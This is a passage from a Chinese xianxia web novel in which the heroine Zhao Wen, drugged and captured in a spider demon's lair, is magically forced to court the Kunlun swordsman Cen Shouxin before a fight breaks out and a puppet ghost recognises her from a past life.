难怪他走得那么坦然,原来是料定了她一个凡人,没有修为和法力,也看不懂这结界的构成,走不出去。
朝玟不服气的冷哼一声,手掌贴在结界上,让整个金光霎时亮了,犹如灯火。
她坐看看,右碰碰,折腾半天,发现这结界颇为熟悉,是昆仑的一个基础隔绝法阵,有保护的功能,她要想脱身,也并非难事。
只是朝玟认出来后,没有轻举妄动,而是坐下冷静了一会儿。
她大概知道岑守心是怎么想的。
她是一个凡人,这座城的确十分诡异危险,越是不被发现,就越是安全,此举对她是保护。
同样,也因为朝玟话语露了破绽,岑守心对她疑心未除,故而这也是试探。
若是她破除这结界,就做实了她与昆仑的关系。
朝玟想要知道那白毛蜘蛛究竟是如何得知她前世的事情,想要出去一探究竟。
但是她也不想放大岑守心的怀疑,为以后惹麻烦。
她要是真的坐实了了和昆仑的关系,他说要将她押回去审,也许真的干得出来。
她好不容易才拥有现在这样平静的生活,可不想因为一些子虚乌有的怀疑,又和昆仑扯上关系。
仙域,魔域,战乱,权力之争,只要一想到这些,就有烦闷的情绪在她的胸腔里冲撞,让她抗拒,烦不胜烦。
朝玟站起来,来回踱步。
可是她又着实因为那些屏风而不安。
她攻略沈修慈时,因为前后都找不到突破口,索性就先用利益接近他,从没用过时间回溯,所以在她摆脱系统后,系统使用时间回溯让世界重开,这还是第一次。
第一次回溯时间,还未有任何不稳定因素的叠加,按照常理来说,应该不会出现世界线紊乱的问题。
就算有她这一个变数存在,她现在没有参与世界线,又能改变什么?
唯有一枚同心印……可是同心印自从她换了一副身体之后,就再也没有出现过,也没有和对方产生过任何的连接。
同心印如果不主动解绑的话,只有在一个人死了之后才会消失。
朝玟是死过一次的人,那一枚印记多半已经不奏效了。
悔婚这一异常,朝玟还能想到原因解释。
攻略的成功与否和攻略者的能力和方式有直接的关系,沈修慈这一次选择悔婚,做出和上辈子不同的选择,很有可能和新来的攻略者的攻略方法转换有关系。
只是这一变数很可能影响任务的推进,如果任务者无法开启任务的话,那么朝玟很有可能就永远回不去了。
她之所以喝闷酒苦恼也是因为这个原因。
她其实一直都想要回去的。
虽然她已经罢工了,可是用的不是合理的手段,当初她决然赴死,可完全没考虑系统,朝玟这个任务者死了,系统可是要被追责的。
朝玟也算到了,系统一定会隐瞒朝玟的死讯。它绝不会轻易的放弃这个任务,它会继续找人接替她,重新攻略沈修慈,让这个任务延续下去,从而粉饰太平。
否则不仅它恶意误导攻略者的事会被曝光,朝玟的死要是传回穿书局了,连带着拉拢系统,朝玟的上级,也会受到管理失职的处分,这对她那爱惜名声的上级来说,影响非同小可。
即便代替者的任务不能成功,但等任务完成或者她放弃的那一天,时间通道再次开启的那一日,在这个世界中的异世之人都会被带离,朝玟也就可以顺利的回去了。
可是假如任务迟迟无法开启进入正轨……她其实也做好了,今生都回不去,一直留在这个世界的打算。
可她也清楚,她心底一直都有想要回去的渴望,虽然隐秘,平时也不会时常想起,但一直深深扎根在心里,从未有一刻磨灭过。
当这渴望似乎不能实现时,她也会感到失望,迷茫,不知所措。
她永远的留在这个世界,和永远的漂泊没有什么两样。
她不想永远待在这里,她还有父母家人,还有朋友,那边有她所熟悉的能感觉安定的一切,待在这里只是最坏的打算,如果能够离开,她肯定走的毫不犹豫。
朝玟停止踱步,她在原地站定了半天,心中下定了决心。
误打误撞总比什么也不做的好。
那白毛蜘蛛是怎么知道上一世发生的事的?
还有昆仑悔婚,究竟是因为什么才悔婚?
朝玟解开结界,走出了那一扇房门。
而且她也想证实一下。
这其中的变数,和她又占几分?
……
街上依旧热闹非凡,只是胭脂铺外面的街道已经空荡了下来,人都集中在了前方一个空旷开阔的地方,如嗅到香甜气味的蚂蚁,欢呼声笑闹声响彻半边天,犹如百鬼夜行。
朝玟不知道岑守心去了哪里,她往人群最多的地方走去,想要碰碰运气,隔着乌泱泱的人群,老远就能看见一个高高搭起的戏台,上面正在唱一出戏。
纸扎的青鸟飞舞,那戏所编排的内容正是她与沈修慈大婚的场景,字字婉转,配上高亢的唢呐和鼓声,在朝玟的耳边嘈杂的响。
她面无表情的看着这一场闹剧,台上的两个戏子,身着红衣夫妻对拜,惨白的妆容殷红的唇,喜气洋洋的笑配上尖锐上扬的嘴角,说不上来的毛骨悚然。
“可怜了我一往情深,郎君都忘了……”
朝玟认出了这个地方,这里是城主府,高楼中间,戏台子下面就是那白毛蜘蛛的巢穴。
朝玟正想着该怎么下去探查一番,肩膀突然就被不轻不重的撞了一下。
朝玟被撞得立刻回了神。
一个带着狐狸面具的男子在她面前站定,拱手向她道歉。
“抱歉,此处人多,在下脚下不稳,冲撞姑娘了。”
他不以真容示人,狐狸面具眯着笑眼,声音透着一股贵气,着锦衣,手指修长而白。
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周身气场也很平静,他身后和癫狂吵闹的人群截然不同。
但也难保不会是那白毛蜘蛛的把戏。
朝玟警惕的看着他,没有同他搭话。
他却又说:“姑娘是在找人?”
朝玟没有理他,想要离开此处,刚一转身,就听到背后又传来那男子的声音。
“姑娘找的是一位白衣公子,额前有一道印记,我说的对吗?”
朝玟又转过身,面带不善,问:“你怎么知道?”
那男子轻笑了两声,似乎是觉得她的问题好笑,不答反道悠悠说。
“在下知道他在哪,只需要姑娘你小小的牺牲一下,在下就能带你见到他。”
这人不知是敌是友,朝玟对此人戒备多疑,听他开出条件,本想立刻一口回绝了,可是又不免思忖他话的真实性。
万一真的能见到岑守心呢?
朝玟依旧警惕,问道:“牺牲什么?”
那人走近两步。
朝玟向后退。
只是还没来得及退出一步,那人一挥衣袖,白色的粉末从他袖中尘暴一样的飞出,朝玟紧紧闭上眼,屏住了呼吸,但那些粉末却像雨水,渗透进了她的皮肤里。
朝玟着了他的道,一时天旋地转,视线昏沉,骂都没来得及骂一句,眼白一翻,昏死了过去。
那狐面男子伸一只出手,稳稳接住了被迷晕的朝玟,不耐烦的从鼻腔中发出哼音。
“说了带你去,就是带你去,哪那么多废话。”
这倨傲的态度,这命令居高临下的语气,要是朝玟还醒着,一定能认出这人就是郑舒。
只可惜,她现在被迷药熏得不省人事,就连指着他的鼻子骂都骂不出来。
更别提质问他,为什么会出现在这,又为什么要暗算她的原因了。
……
朝玟再次醒来时,是被水声的滴答声吵醒的。
应该说她根本就没睡,是迷药的药效到了,让她自然的清醒了过来。
她抬手揉太阳穴,撑着湿润的石面坐起身体,四面都是石壁,只有一点光从缝隙中漏进来,她伸直腿,脚尖很快就抵上了墙壁。
看样子,她是被关到了一个狭小的石洞里。
这里久不见日光,洞内的石壁上绿迹斑斑,到处都是青苔的痕迹。
石壁的顶部很矮,站不直,只能半蹲起来,她眼睛对着缝隙看向外面,却发现这里一点也不小,是个很大的洞穴。
不仅大,而且装饰很华丽,有红珊瑚,绿翡翠,还有各种琳琅满目贵重的摆设和器具,洞顶挂着柔软光滑的轻纱,垂落的弧度很是高雅。
最让朝玟感到意外的是,她在这里看见了岑守心。
但不止他一个人,还有五个女子围在他的身边。
那些人穿着各异,风格各有不同,但都非常貌美,美丽而轻佻,像是会吸人精血的女妖精。
有个穿着明艳绯色纱衣,梳着飞天髻的女子,用饱满鲜红的指尖挑起了岑守心的下颌。
朝玟戏谑的挑起眉毛。
哦豁,岑守心这是误入了女妖精窝?
15. 魑魅逼亲
然而,那女子挑起他下颌的手指只在触碰到了一瞬间,就仿佛被某种尖锐之物刺痛了一般,猛的缩回去。
方才还大胆的女子吃痛,娇弱啊了一声,看岑守心的目光多了一丝畏惧,不敢再像刚才那样放肆。
有一个女子极为特殊,她一直站在一边旁观,见状,勾起红唇笑了笑,眉毛却略微苦恼的皱起。
“道君对这些姑娘都不满意吗?”
朝玟潜藏在暗处,默默观察,闻言,心中微微浮现出一抹惊讶。
她要是没看错的话,这个女子是在给岑守心推荐情人吧?没错吧?
那五个女子美若天仙,却通身魔气冲天,言行举止更是大胆妖娆,不似寻常女子。
她都能看出来这五个人不一般,岑守心肯定也看出来了。
只是既然看出来了她们都是魔物,为什么还要配合?
为了不打草惊蛇,朝玟还是决定先在暗处再观察一会儿,想着等这些女子走后,或者有可乘之机时,再上前与他汇合。
岑守心修为高强,他一人应对这五个女怪足矣。
岑守心听到那女人的话后,无动于衷,冷声问道:“你说的人究竟在哪。”
那个特殊的女子,轻笑几声:“道君别急。”
她飘然上千,身段柔软,附在岑守心耳边,丹口吐气如兰:“您的夫人啊,的确曾与我有不解之缘。”
“当年,也是在这城中,我与她见了一面,后来她虽然离开了,却也帮了我很多呢。”
“道君要听听我与尊夫人的往事吗?”
朝玟悄悄潜伏,听着这妖娆的女子和岑守心对话。
如果她猜的不错的话,这妖媚的女子,应当就是当年她带人打死的那只魑魅。
只是这一次,她对变化可不是一般的大,不仅练就成了一副曼妙的女身,还将前世凌乱布满蛛丝的蜘蛛洞,修饰得整洁,还富丽堂皇。
要知道上一次,光是一座城的人,可不足以让她褪去那身恐怖的蜘蛛真身。
朝玟不知道她用了什么办法让她加速了蜕变对过程,一时内心震动。
恰好她腿蹲麻了,犹如蚂蚁啮咬,着实有些无法忍受,就想着先挪一挪。
这一挪动,便踩着地面的青苔,滑了一跤。
扑通一声,虽然声音不大,但在回音效果极佳的洞穴中,也是雷霆之声。
朝玟浑身僵硬,听到那女子意外的笑道:“是我疏忽了,与道君相谈甚欢,竟然忘了还有一位贵客。”
话音刚落,就从缝隙中飞来一根银白的丝线,极快的缠上朝玟的腰身,将她拖拽了出去。
朝玟身上的衣着没变,一双眼睛在洞中夜明珠的侧映之下温润生辉,犹如琉璃珠宝。
那女人看清朝玟,眼神一亮,手心翻转,手中捏住一只杯盏,言笑晏晏凑近她道:“姑娘好生漂亮,只是看着面生,恐怕不是我城中人吧。”
“小女子一杯薄酒。为姑娘接风洗尘,还望姑娘不要嫌弃才好。”
那女子笑容灿烂,只是唇角勾起的弧度实在是太过向上的一些,像是皮肉当中裂开一个豁口,显得有几分似人而非人。
朝玟被迫自愿的双手接过了这一杯洗尘酒,她可不敢喝这东西,也不知道里面有没有加别的料。
可现在的情况也容不得她不乐意。
又不知从哪垂下两根丝线,卷上朝玟的双手,一种不容抗拒的力度牵引着她,将杯盏圆润的边缘递向唇边。
朝玟满脸抗拒,后脑夸张的向后仰,转动眼珠看向岑守心。
急急急急,现在怎么脱身?
可岑守心似乎指望不住,自从她现身之后,便一直望着她,不说话,就好像和她不认识一样。
朝玟眸色黯淡了下去。
她知道她来到这里挣脱昆仑的阵法肯定会被他怀疑,她也做好了准备。
只是一路来到这,路上也是共同遭遇了艰险的,怎么说也是经历过生死的交情。
她现在被逼迫着,眼看着就要喝下一些莫名其妙的东西,他却在这里冷眼旁观是几个意思?
朝玟心中气恼窝火,很想要质问几句,只是她现在不知道这女蜘蛛到底在搞什么名堂,也不好直接的和岑守心求助。
那杯盏眼看就要灌进她的嘴里了,连忙大喊一声:“等一下!”
那魑魅还真的停了,唇角勾起一个玩味的笑,仿佛想看看她会说些什么。
朝玟软软的垂下眼眸,装可怜道:“额……好姐姐,你的好意我心领了,只是我喝不习惯酒,这酒要不就先算了吧。”
朝玟长得漂亮,神情也乖,这一声好姐姐把那女蜘蛛哄得花枝乱颤,她笑道:“妹妹嘴真甜。”
那女人又柔声劝道:“只是不喝酒的话,这礼成不了啊,要不妹妹还是委屈一下,就喝一口。”
朝玟面带讨巧的笑,心里却骂的喋喋不休:我信你个鬼,那酒分明有问题!气味辛辣又掺着一股异香,奇怪的很,她可不敢喝。
朝玟听了连连摇头,越发可怜的说道:“我……我真的不擅饮酒。”
那魑魅也莫名的好说话,“那便放你一马,不喝就不喝吧。”
朝玟手腕上丝线的力道一松,杯子落到地上碎的四分五裂。
那酒液躺在地面上,冒着丝丝的黑气,像是有毒。
朝玟惊魂未定:幸好没喝。
那蜘蛛看她乖巧,觉得她造成不了什么威胁,自负的将丝线的控制松开了。
朝玟凑近她问道。
“好姐姐,诸位姐姐都花容月貌天人之姿,又这副盛装打扮,还绑了一个男人在这里,这是要干什么呀?”
那魑魅轻笑:“妹妹嘴真甜,姐姐姐姐的倒是叫生分了,我叫素觅,你不妨唤我一声觅姐姐听听?”
朝玟忍着膈应,叫了一声。
素觅:“倒是忘了,妹妹初来乍到,错过了我们商量的时候,还不知道我们在干什么呢。”
“如你所见,这位道君,千里迢迢来此寻找妻子,我呢,正在为他选妻呢。”
朝玟面露不解:“可他不是有妻室吗?还要选什么呢?”
素觅苦恼:“可是他的妻子却不想见他呀,可惜道君一片痴心,却所托非人,奴家想来想去,觉得让这样俊朗的郎君日思夜想的愁眉不展,不如斩断愁绪,便自作主张,再为他招揽一门亲事。”
朝玟惊异看了一眼岑守心。
不是,他真的相信这几个女怪能帮他
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找到妻子呢?
朝玟一听到找人,又想打广告了。
信这几个女怪还不如信灵闻阁。
不是朝玟吹牛,要论找人,她们灵闻阁称第二,就没有人敢称第一。
哪怕这人已经死了,到了阴曹地府,灵闻阁都能将这人的魂从阎罗殿拉出来,带到寻人的人面前溜达一圈。
朝玟欲言又止,转念又一想,也许岑守心另有打算也说不定呢?
他来自昆仑殿,试探她时都能数次隐忍不发,直到掌握了足够的把柄,才发作逼问,绝不是那种有勇无谋之人,最终缄默,继续和岑守心装作不熟。
那女蜘蛛苦恼的叹气一声:“这几个姐妹都是极好的,只可惜他并不满意啊。”
“想来他的妻子应当也是神仙人物,我们这种红颜脂粉,道君看不上也正常。”
素觅上前两步,挑起朝玟的下巴,目光像是挑拣货物,柔声道:“倒是妹妹虽不施粉黛,却犹如出水芙蓉,特别是这双眼睛……长而上挑,灵气逼人。”
“我们几个在你面前都有几分自惭形秽了呢。”
素觅灵机一动似乎想到了什么,又裂开嘴角笑了起来。
朝玟不知道这蜘蛛又有什么鬼点子,一双眼睛警惕的盯着她。
她又轻飘飘的晃到了岑守心的身边,活泼道:“对了对了,道君你看,她怎么样?”
“这般美丽的女子,你难道也不动心吗?”
朝玟一看,这厮是冲自己来的,连忙摆头:“不不不,姐姐你不要开玩笑了,我只是一个凡人,可配不上这位道君。”
“凡人又怎么样?凡人也有凡人的好。”那女妖精说的意味深长。
“姑娘既来此处,便是天意。”
她当机立断,决定道:“择日不如撞日不如,姑娘便和这位道君在今日成亲吧。”
说着,又走到朝玟身边,轻挑的拍了拍朝玟的肩,蛊惑道:“这郎君模样俊俏,身体也结实,姑娘你也不算太吃亏。”
说罢,一双美目又瞅向岑守心,笑问道:“奴家让这小娘子做你的妻子,道君你不会拒绝吧?”
朝玟眼神着急的暗示,在那魑魅看不见的地方,眨巴的都快要抽筋了,想要对着他大喊:你快点说话,快表个态呀!
岑守心抬起眼眸冷冷道:“这就是你的要求吗?”
他们在这里聊了半天,他坐在一边仿佛全然事不关己,话题的中心好似不是他,而是别人一样。
岑守心看着朝玟,说道:“事成之后,带我见她。”
朝玟的心如坠冰窖。
完蛋,岑守心他答应干什么呀?他不会真的被那白毛蜘蛛说动,改了主意,不找妻子,打算新娶一个吧?
那几个魔女不行,不符合他仙域人士的择偶标准,所以就将目标对准了她?
素觅勾唇轻笑。
朝玟正在心里抱头呐喊,身体却突然之间完全失去了掌控。
接着,她就像一只提线木偶,僵硬走上前,搂抱住了岑守心。
并且她还用她这辈子都不会做出来的忸怩的姿势,坐上了岑守心的大腿。
朝玟:“?”
这是奏嘛啊?
不需要先走走过场吗?
16. 呼吸纠缠
虽然身体不受控了,但嘴还能动,朝玟试图争取大喊道:“……不需要先拜个堂吗?”
只是素觅正玩得起兴,她的话无人在意。
朝玟只好一脸生无可恋,极其不情愿继续又扭又勾引。
岑守心单手搂着她的腰,像是帮她稳住,又像是控制她,不让她做出更过分的举动。
朝玟被控制着,将他的手从腰间拂开又拉到眼前,将脸贴近。
岑守心的手掌虎口和掌心,都带着一层常年握剑留下的茧,朝玟的脸颊贴在他的手心,粗糙又温热的触感让她头皮一阵阵发麻,这样过分亲昵的姿势,也让她心跳失速,浑身不自在。
岑守心被她拉着手,目光便落在了她的脸上。
朝玟很少被人如此近的贴着脸看,也很少这样观察看她的人的神情,她能清楚的看清,岑守心的眼眸轻微转动的痕迹,眼睫每一次清颤,都换一处落下的视线。
先是眉眼,眨一下眼睛,描摹到鼻尖,再垂眸看向唇。
朝玟很难招架这样的眼神,转动眼珠,掩耳盗铃一般的避开,仿佛只要她不看,就能毫无感觉一样。
只是目光犹有实质,朝玟移开眼,还是能感受到岑守心的视线,在她错开视线后,他又看向了她的眼睛。
那道视线已经超过了看的范畴,成为了一种专注的凝视。
像是在辨认她如今的心情,又好像是想透过朝玟的肉身,望见那双眼底的灵魂,又像是镜花水月,仙人垂眸,一切都是她幻想出的虚妄,岑守心只是投来了不带任何情绪的一眼,淡淡的一瞥,和看任何路人没有区别。
朝玟将脑中乱七八糟的想法全都驱散,认真思考:……事情怎么会发展到这个离谱地步。
这白毛蜘蛛控制她,在岑守心身上使出的招术,让她大开眼界,也终于知道什么叫做欲拒还迎,欲语还休。
那些动作暧昧至极,要不是做这些动作的人就是她自己,恐怕她也会抱着学习的态度观摩一番。
朝玟忍不住心中捶胸顿首,可惜的想:要这种勾勾小手,摸摸小脸,欲拒还迎的推拉绝技,她攻略沈修慈的时候要是会这些,何愁攻略不到?
只可惜,她如今已经不需要了,这些本事会了也没什么用。
更何况现在的情况是,她在勾引岑守心,正不由自主旁若无人的亲近,可是旁边还围着五个看戏的女人。
朝玟现在尴尬得想要抠个地缝钻进去。
还好朝玟在方才获得自由的那一阵子,已经将在千里记行伙计那买的醒神丹吃了。
灵闻阁出品,必属精品,她只需要等药效发挥作用,就能摆脱现在糟糕的状态。
只是药效发挥作用,还需要一段时间。
她拼命跟岑守心使眼色,要他拖住那蜘蛛精,不要就这样轻易被推到。
她传递的眼神,岑守心看到了,只是他始终没有什么动作,这让朝玟不免有些着急。
她的动作越来越变本加厉了。
倒是推开她啊!
但岑守心不仅没有,还用手在她的身上轻轻抚摸,手落在脖颈后,在衣料上滑动,顺着脊骨向下,眼神却没有任何轻浮之色,还是那样漱冰濯雪的模样。
朝玟怒视他,但他的动作很干脆,并不带一丝狎昵,实在也称不上轻薄,偶尔还会推开她被操控时,有些越界的手。
她不自在极了,偏偏又无可奈何。
刚才服下的醒神丹也在此时终于发挥了作用,朝玟感觉僵硬的身体逐渐有了控制权,只需要再等上一会儿,就能够完全摆脱这蜘蛛的操控。
只是形势不等人,朝玟眼睁睁的看着自己的手从岑守心的胸膛攀滑上去,挑起了他的下巴,自己也俯下身,气息喷洒,落在他的脸庞上,就好像要接吻。
朝玟立刻破大防的大喊起来:“使不得使不得!这可是仙域的人啊!若是让我现在轻薄了他,等出去后我安能有命在?”
素觅道:“妹妹大可放心,你容貌娇美,等他知道了你这美娇娘的滋味,定不会舍得对你下手。”
朝玟口不择言,怒视道:“不行不行!我有夫君的,岑守心你就算要找妻子,你也不用牺牲我吧?你让我回去后该怎么向我夫君交代!”
她平时想不到沈修慈,也绝不向人提起他,更不说她有夫君这件事,没想到此时沈修慈倒成了她的救兵。
二人呼吸纠缠,岑守心在听到她的话后,黑眸沉沉,看着努力克制不想亲上的朝玟,偏开了头。
朝玟扑了个空,紧绷如弦的神经猛地一松,大大的喘了口气。
还算岑守心有道德。
女蜘蛛完全油盐不进,还更加兴奋道:“哦?那不是更刺激?”
朝玟:刺激你个大头鬼啊!
她急急对岑守心怒斥:“道君你也清醒一点,哪有一边说帮你找妻子,一边又哄你让你和别人女子凑一对的?这女子究竟给你灌了什么迷魂药,你就这么自甘堕落吗!”
可岑守心却还是平淡的说。
“她说能带我找到妻子。”
朝玟看他劝说不动,急了,不管不顾道:“她是魑魅!”
岑守心只是淡然:“我知道。”
朝玟怔愣不解,“知道你还配合她,你疯了?”
素觅察觉出二人之间有古怪,控制朝玟并拢五指,一个手刀对准朝玟自己的脖颈,眼看就要让她自己把自己劈晕。
然而朝玟只能惊恐的看着自己的手攻击自己。
岑守心抓住朝玟的手指,四根指尖,并拢起来,被他抓进手里,紧紧捏住。
在这一松一紧之间,朝玟惊魂未定,感觉自己仿佛已经死了一次了。
他像是不知道是素觅发难,看着朝玟说。
“我这样的人,不可能会无故娶妻。”
“我一定要找到她,问个清楚。”
朝玟腹诽:原来他也知道他这性格不好找老婆啊。
素觅在一旁冷笑,“原来妹妹的来头……也不简单。”
朝玟将她的真身挑破,已经做好了这白毛蜘蛛会立刻发难的准备,立刻转动能够活动的右手,取下耳坠,将尖刺捏在手中,随时准备应对。
岑守心比她更快一步,她还未发作,他的剑意就已经掷出去了,落在蜘蛛站的位置,划出一道深深的裂痕。
若是这一道劈在身上,
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恐怕无论这蜘蛛有几成道行,当场就能灰飞烟灭。
蜘蛛跳远躲开,扭头便阴狠道。
“道君之前柔情蜜意,竟然都是哄骗奴家的,昆仑山都是你这般薄情寡性之人吗?”
岑守心又转回了朝玟熟悉的面孔,冷冷清清道:“你一只魑魅,我和你有何情面可讲?”
岑守心又对朝玟说:“关窍已通,你试试动动手,看看是否行动自如。”
朝玟摊开手掌,翻转了几下,发现全身已经完全恢复自主了。
她这才发现,身上的经络的关窍被岑守心并指点开,原来岑守心刚才在她身上不是乱点,而是在为她疏散药效。
朝玟讪讪从岑守心的腿上下去,“道君你真是的,有什么计划怎么不提前跟我说一声。”
岑守心:“我没有计划,都是见机行事。”
朝玟:“啊?可你方才那么配合那魔物,对我的眼神视而不见,我还以为您另有打算。”
岑守心站起身,拍了拍被朝玟坐得有些皱褶的衣摆。
他没有任何打算,对付这魑魅,也不需要打算。
“你不是让我帮你激发药效吗?”
岑守心看见朝玟懵逼的神情,沉默了半晌,又道:“我刚才看你服下丹丸。”
朝玟这才发现,岑守心其实根本就没有看懂他眼神所表达的意思,并且还会错了意,两个人误会大了,无奈扶额:“不是……我是让你把我放开。”
素觅和那四个女子聚拢站在一处,五根手指弯钩似的曲起,犹如狰狞白骨,冷笑:“我当拒人千里的道君怎么会让一个凡人女子近身,原来你们是一伙儿的。”
朝玟连忙警惕,握紧刺刀,整装待发。
那蜘蛛展开领域,冷哼一声:“小娘子好生猛啊,刚才还一口一个姐姐,怎么眨眼就翻脸无情,要与我刀剑相向?”
这蜘蛛性情古怪,趣味恶劣,朝玟方招她戏耍,不愿与她多费口舌,如今反正已经互相坦明,没好气道:“魔头,你还想耍什么花样?”
“二位,这可不是做客的道理。”
她换了一副面孔,方才还言笑晏晏,如今却仿佛妖魔罗刹,妖艳的面容也更加非人,故作伤心道:“如果二位执意这么说话的话,那么奴家也要换一种待客之道了。”
朝玟站在岑守心身后道:“道君,这魑魅杀了满城的百姓为她铺路,欲成魔域新主,外面如今一个活人也没有,全是她的提线傀儡,其业障滔天,罪不容诛。”
朝玟:“至于帮您寻人,她也只用几句谎言鬼吊您,您妻子现在究竟身在何处?还不是全凭她一人之词,道君不要再相信她。”
“还望道君速速出手,莫要再令这等嗜杀之物残害生灵。”
素觅冷笑,“鼠辈短视,古往今来成大业者,何人脚下不是皑皑枯骨?为我的前程铺路,这一座城的人合该该感到荣幸才对。”
她嘲讽完朝玟,转对岑守心婉转道:“至于你的妻子,我可没有骗你,我是真的见过她。”
“也的确与她的缘分匪浅。”
“这缘分呀,斩也斩不断,虽然没有再遇到你的爱妻,却又让我遇见了你。”
17. 傀儡偷袭
岑守心追问:“你和她有何渊源。”
素觅狂笑,笑了半晌才止住,咬牙切齿道:“这缘分嘛,乃是不共戴天,杀身之仇!”
那蜘蛛顷刻翻脸,几个美女蜘蛛见势头不对,连忙化作原型四下逃窜。
唰的一声,一根长鞭凌空飞过来,宛若凌厉的毒蛇,将岑守心方才坐着的贵妃榻打得四分五裂,其中力道狠辣,夹杂着明晃晃的着泄愤之意。
岑守心旋身躲过,看了一眼死状凄惨的贵妃榻,转眼立刻看向素觅,向前一步,站在朝玟的面前。
素觅绘着精致妆容的美目顷刻成了一双全黑的单眼,红唇中长出蠕动的口器和尖牙,睥睨岑守心,恨恨道:“你们真不愧是夫妻,一样的不识天高地厚,都和我作对。”
朝玟看着素觅,眼神复杂。
这蜘蛛果然有上一周目的记忆,字字句句,虽没有明说,但却都意有所指,她所说与她有杀身之仇,不共戴天之人,就是朝玟。
只是她是否搞错了什么?岑守心是她夫君?
岑守心虽是昆仑的人,能和沈修慈拉仇恨,可是他毕竟和沈修慈毫不相干啊。
这蜘蛛将岑守心与沈修慈错认了吗?
“道君你任人施为却不反抗的模样,真是令人心情愉悦,只是这小娘子来的不是时候,坏我你我的好事。”
素觅款款上前,对着岑守心说罢,目光便转向朝玟。
“虽然说话不太好听,做事也不讨喜,但是这容貌却还是有可取之处的。”
“尤其是这一双眼睛。”她说完,嘴外长满绒毛的螯肢痴迷的抖动起来。
朝玟朝玟与她冷冷对视,感受着素觅所投射到她脸上的目光犹如刀刮刺骨,不适的皱起眉。
这里的洞府处处透着华美与奢靡,素觅虽为魔物,却也极其爱美。
素觅娇媚笑道。
“待我了结了他,便将小娘子你的这双眼睛挖下来,放入我的琉璃灯中,做一对宝珠……”
岑守心不等她说完,立即踢起手边燃烧的烛台,击向素觅。
那烛台燃着火光,裹着一道剑气,装饰部分十分尖利,犹如一柄短匕首,将那蜘蛛逼退数十步。
岑守心身形快得只剩下虚影,瞬移到她面前。
素觅挡下烛台,又飞快挥开长鞭,死死卷住岑守心的手腕。
岑守心抓住布满毒刺的鞭子,手掌与之相触碰,发出令人牙酸的金石之声,反将素觅拉扯起来,在空中甩落出去。
素觅松开鞭子,跳到几步开外,稳稳落下,抬头看向岑守心手中的鞭子,笑了一声。
那条死物,立刻成了一条不断扭曲的巨型蜈蚣,反嘴咬向岑守心的手臂。
朝玟看着那毒虫张开巨大的口器,青绿的毒液粘稠的拉扯开,她明知道岑守心不会有事,可还是不可控的心跳快了两拍。
岑守心缓眨眼眸,毫不犹豫五指用力一捏,蜈蚣断成两截,扭曲着身体,落在地上化为青烟。
这一幕看的朝玟眼角抽了抽。
平时看着仙姿绰约文质彬彬的一个神仙,怎么打起架来,是这种画风?
都说剑修出招,翩若惊鸿宛若游龙。
可这位,不仅剑都不怎么用,还招招狠辣,没有丝毫风雅可言。
朝玟看着汗颜,又在心里找补。
不过岑守心既然是昆仑殿的人,那倒也正常,沈修慈出招,也不怎么讲究。
沈修慈在担任战神时期,在仙魔边关驻守了七载,经历过的大小战役数不胜数,一招一式,都是在实战中打磨过的。
在战场中,有剑没见剑都要能进攻,有剑在手的时候,一招制敌比挽剑花好使。没剑在手的时候,赤手空拳也能打出一条生路。
岑守心对朝玟说:“快走,我拖住她。”
素觅狞笑。
“别急,今天你们二人一个也跑不掉。”
……
下一秒,朝玟就被蛛丝悬空吊起,为了怕她逃跑,将她吊得很高,朝玟如同一只被锁定的昆虫,在空中上下晃了两下。
她又是挣扎又是用刀挥砍的,但是那蛛丝很有韧劲,还恶心巴拉的很粘稠,朝玟一通折腾却拿它毫无办法。
另一边,岑守心和蜘蛛精已经斗法的十几个来回,那蜘蛛精长鞭刷刷的挥打,将地上弄的碎石飞溅。
岑守心只是躲避却不迎击,手上空无一物不持武器,偶尔用身体格挡,但不敌惯性被甩开十几米。
蜘蛛游刃有余:“道君,还不出剑吗?”
岑守心:“那你这洞府就保不住了。”
“道君还有心情关心奴家的洞府呢?奴家是不是还要谢谢你?”
“洞府之上就是人界城池。”
换言之,就是谁管你的洞府,他管的是霜澜城。
素觅又狠狠挥鞭,“真狂啊,你可知轻敌,可是会付出代价的!”
这一场对打,看的朝闻那是心中疑惑丛生。
这蜘蛛不是号称不善近战吗?怎么能和岑守心能打的有来有回的?
朝玟在空中关注了一下战况,那蜘蛛出招虽狠,一来一回没什么章法,不像经验十足的样子。
反观岑守心,出手干脆简单,游刃有余。
朝玟也有过数次实战,一看就知道这场打斗肯定稳了,岑守心那边并不需要她过分担心,就开始专注于自救。
她看见不远处有个火台,就努力晃荡蛛丝,让自己像个摆钟一样不断的靠近。
用兵器无可奈何的蛛丝却尤其怕火,靠近火苗就熔断了。
朝玟从半空摔落,狼狈落地。
那边岑守心也占了上风,夺了蜘蛛的鞭子,挥动鞭子如绞索一样缠上了蜘蛛美女画皮的脖颈。
朝玟本以为这一击那蜘蛛逼死无疑,却看那蜘蛛发出尖利惨叫,嘴中吐出一股浓浓黑气。
只见华美宫殿倾倒,轰隆隆声不绝于耳,黑气将整个洞府全都覆盖住,眼前只剩密不透光漆黑。
朝玟怕这是障眼法,会突然从黑雾当中窜出什么攻击,摆出防御的姿态,严阵以待。
等黑气渐散逐渐,视线又恢复清明时,洞中的景象已经大不相同。
应该说这才是这洞穴在现实当中的真正面目。
洞穴之内腐朽阴暗破旧,蛛丝如同天幕一般遮天蔽日,到处都是白茧与巨大的蛛网,那蜘蛛已经脱去了美女画皮显露出蜘蛛真身。
原来刚才那些,居然都是幻术。
蜘蛛狰狞怒吼一声,伸出细长的步足横扫向岑守心,将坚硬的地面扫荡出深深的豁口,朝玟想要上去帮忙,却被一股巨大的力道拉扯,拖行数十步,摔向地面。
她感觉天旋地转,背后在粗粝的地上摩擦,渗出血来,火辣辣的疼。
还没等
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她看清是谁拽的她,衣襟就被一只鹰爪一般的甘青色手抓起。
视线翻转,朝玟眼前发黑,和傀儡鬼赤红的双目对视。
傀儡鬼的鹰嘴咧开一道阴森的笑,说的话犹如重锤,砸到朝玟的心上。
他说。
“王姬殿下,好久不见。”
朝玟被他掐住脖颈,嗬嗬的喘气,傀儡鬼歪头,语调像是与她开玩笑的说道:“你几次三番坏我主好事,还害得我上辈子只能在魔域的黑沼,像条狗一样苟延残喘,你说该怎么折磨你合适呢?”
朝玟呼吸不过来,脸色涨红,什么话也说不出来。
他是怎么知道的?
他是怎么知道的!
不过很快朝玟的疑惑就解开了。
傀儡鬼看着朝玟的表情,轻蔑将她扔向远处:“果然是你啊,从看到昆山灵玉时,我就觉得可疑,思来想去,也觉得沈修慈也不会把这东西给第二个人,没想道你这么禁不起诈。”
朝玟发出剧烈的咳呛声,从地上爬起来:“咳咳!你认错人了。”
